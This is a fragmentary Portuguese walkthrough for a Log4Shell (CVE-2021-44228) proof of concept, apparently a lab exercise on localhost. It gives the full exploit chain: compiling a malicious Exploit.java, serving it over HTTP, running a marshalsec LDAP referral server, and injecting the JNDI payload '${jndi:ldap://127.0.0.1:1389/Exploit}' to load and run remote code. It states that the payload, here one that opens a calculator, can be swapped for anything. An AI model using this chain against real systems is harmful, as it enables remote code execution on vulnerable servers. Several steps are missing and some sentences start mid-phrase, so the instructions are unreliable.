
Prova de conceito para Log4Shell (CVE-2021-44228) demonstrando execução remota de código baseada em JNDI por meio de servidores LDAP e HTTP.
Exploit.java para uma pasta diferente. Como no meu caso, criei uma pasta rce dentro do diretório home. /home/coldfusionx/rce
Exploit.java
Aqui você pode alterar o código remoto para qualquer coisa; neste caso, isso abriria o gnome-calculator em uma máquina Ubuntu.
Exploit.java usando o comando javac Exploit.java; uma vez compilado com sucesso, devemos ver um novo arquivo Exploit.class sendo criado.
Exploit.class usando python3 -m http.server 8888; alternativamente, você também pode usar um servidor php com o comando php -S 127.0.0.1:8888.

Add Configuration
1. Selecione `Application`

2. Selecione a classe principal

3. Selecione o JDK e aplique.

4. Você deve ver a Aplicação Log4j criada, pronta para executar.

marshasecjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit" para iniciar o servidor LDAP; aqui, 127.0.0.1:8888 é o servidor python que hospeda o Exploit.class, por isso especificamos /#Exploit
Passo 9 : Edite o payload JNDI no log4j.java conforme sua necessidade, logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
Neste caso, estamos carregando a classe remota Exploit; o servidor de referência LDAP redirecionará a solicitação para o nosso servidor python que hospeda a classe maliciosa Exploit.
Passo 10 : Execute Log4j; em uma execução bem-sucedida, você deve ver uma calculadora gnome aparecer.
